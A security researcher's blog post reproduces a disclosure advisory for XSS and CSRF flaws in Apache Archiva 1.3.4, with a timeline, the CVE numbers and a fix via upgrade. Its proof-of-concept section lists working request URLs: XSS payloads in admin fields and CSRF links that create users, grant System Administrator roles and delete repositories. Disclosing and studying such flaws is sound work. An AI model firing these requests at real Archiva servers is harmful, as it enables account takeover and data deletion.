Apache Archiva Multiple XSS & CSRF Vulnerabilities

I am honestly surprised at the frequency and places one would find threats like Cross Site Scripting and Cross Site Request Forgery. Although immensely easy to locate and exploit, it can get quite twisted to fix these issues in large applications. Here’s a rundown on another product that was found vulnerable. As part of the vulnerability research that I do with published web applications, I downloaded a copy of Apache’s Archiva 1.3.4 which was the latest published edition on the vendor’s website. Upon examination, there seemed to be several issues with the application that I reported responsibly to the vendor and co-operated in responsible disclosure. Since the cat is now out of the bag, here’s the condensed disclosure document with the exploit code intact.

Title: Multiple XSS & CSRF Vulnerabilities in Apache Archiva 1.3.4
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Project: Apache Archiva
Severity: High
Versions: 1.3.0 – 1.3.4. The unsupported versions Archiva 1.0 – 1.2.2 are also affected.
Exploit type: Multiple XSS & CSRF
Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5
Vendor URL: http://archiva.apache.org/security.html
CVE: CVE-ID-2011-1077, CVE-2011-1026
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Timeline:
28 February 2011: Vendor Contacted
1 March 2011: Vendor Response received. CVE-2011-1026 for CSRF Issues Assigned.
7 March 2011: CVE-2011-1077 Assigned for XSS Issues.
14 March 2011: Fixes released to selected channels / Found to be insufficient
27 May 2011: Vendor releases v1.3.5
27 May 2011: Vendor releases security disclosure to Bugtraq and FD.
30 May 2011: Exploit details released on Bugtraq & FD
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Product Description:
Apache Archiva is an extensible repository management software that helps taking care of your own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as Maven, Continuum, and ANT.

Archiva offers several capabilities, amongst which remote repository proxying, security access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning functionality… and many more!
(Source: http://archiva.apache.org/)
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Vulnerability Details:
XSS: User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.
Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.

CSRF: These issues allow an attacker to access and use the application with the session of a logged on user. In this case if an administrative account is exploited, total application compromise may be acheived.
An attacker can build a simple html page containing a hidden Image tag (eg: ) and entice the administrator to access the page.
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Proof of Concept:
Reflected XSS:
http://127.0.0.1:8080/archiva/security/useredit.action?username=testalert(‘xss’)
http://127.0.0.1:8080/archiva/security/roleedit.action?name=%22>alert(‘xss’)
http://127.0.0.1:8080/archiva/security/userlist!show.action?roleName=testalert(‘xss’)
http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1alert(‘xss’)&artifactId=1alert(‘xss’)&version=1&repositoryId=internal
http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath!commit.action?legacyArtifactPath.path=testalert(‘xss’)&groupId=testalert(‘xss’)&artifactId=testalert(‘xss’)&version=testalert(‘xss’)&classifier=testalert(‘xss’)&type=testalert(‘xss’)
http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!confirm.action?proxyid=testalert(‘xss’)

Persistant (Stored) XSS:
Exploit code: testalert(‘xss’)
http://127.0.0.1:8080/archiva/admin/addRepository.action (Identifier:repository.id, Name:repository.name, Directory:repository.location, Index Directory:repository.indexDir)
http://127.0.0.1:8080/archiva/admin/confirmDeleteRepository.action?repoid=

http://127.0.0.1:8080/archiva/admin/editAppearance.action (Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL)
http://127.0.0.1:8080/archiva/admin/configureAppearance.action

http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath.action(Path:name=legacyArtifactPath.path, GroupId:groupId, ArtifactId:artifactId, Version:version, Classifier:classifier, Type:type)
http://127.0.0.1:8080/archiva/admin/legacyArtifactPath.action

http://127.0.0.1:8080/archiva/admin/addNetworkProxy.action (Identifier:proxy.id, Protocol:proxy.protocol, Hostname:proxy.host, Port:proxy.port, Username:proxy.username)
http://127.0.0.1:8080/archiva/admin/networkProxies.action

CSRF:
http://127.0.0.1:8080/archiva/security/usercreate!submit.action?user.username=tester123&user.fullName=test&user.email=test%40test.com&user.password=abc&user.confirmPassword=abc
http://127.0.0.1:8080/archiva/security/userdelete!submit.action?username=test
http://127.0.0.1:8080/archiva/security/addRolesToUser.action?principal=test&addRolesButton=true&__checkbox_addNDSelectedRoles=Guest&__checkbox_addNDSelectedRoles=Registered+User&addNDSelectedRoles=System+Administrator&__checkbox_addNDSelectedRoles=System+Administrator&__checkbox_addNDSelectedRoles=User+Administrator&__checkbox_addNDSelectedRoles=Global+Repository+Manager&__checkbox_addNDSelectedRoles=Global+Repository+Observer&submitRolesButton=Submit
http://127.0.0.1:8080/archiva/admin/deleteRepository.action?repoid=test&method%3AdeleteContents=Delete+Configuration+and+Contents
http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1&artifactId=1&version=1&repositoryId=snapshots
http://127.0.0.1:8080/archiva/admin/addRepositoryGroup.action?repositoryGroup.id=csrfgrp
http://127.0.0.1:8080/archiva/admin/deleteRepositoryGroup.action?repoGroupId=test&method%3Adelete=Confirm
http://127.0.0.1:8080/archiva/admin/disableProxyConnector!disable.action?target=maven2-repository.dev.java.net&source=internal
http://127.0.0.1:8080/archiva/admin/deleteProxyConnector!delete.action?target=maven2-repository.dev.java.net&source=snapshots
http://127.0.0.1:8080/archiva/admin/deleteLegacyArtifactPath.action?path=jaxen/jars/jaxen-1.0-FCS-full.jar
http://127.0.0.1:8080/archiva/admin/saveNetworkProxy.action?mode=add&proxy.id=ntwrk&proxy.protocol=http&proxy.host=test&proxy.port=8080&proxy.username=&proxy.password=
http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!delete.action?proxyid=myproxy
http://127.0.0.1:8080/archiva/admin/repositoryScanning!addFiletypePattern.action?pattern=**/*.rum&fileTypeId=artifacts
http://127.0.0.1:8080/archiva/admin/repositoryScanning!removeFiletypePattern.action?pattern=**/*.rum&fileTypeId=artifacts
http://127.0.0.1:8080/archiva/admin/repositoryScanning!updateKnownConsumers.action?enabledKnownContentConsumers=auto-remove&enabledKnownContentConsumers=auto-rename&enabledKnownContentConsumers=create-missing-checksums&enabledKnownContentConsumers=index-content&enabledKnownContentConsumers=metadata-updater&enabledKnownContentConsumers=repository-purge&enabledKnownContentConsumers=update-db-artifact&enabledKnownContentConsumers=validate-checksums
http://127.0.0.1:8080/archiva/admin/database!updateUnprocessedConsumers.action?enabledUnprocessedConsumers=update-db-project
http://127.0.0.1:8080/archiva/admin/database!updateCleanupConsumers.action?enabledCleanupConsumers=not-present-remove-db-artifact&enabledCleanupConsumers=not-present-remove-db-project&enabledCleanupConsumers=not-present-remove-indexed
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Please update to Archiva 1.3.5, available for download via the vendor’s website.

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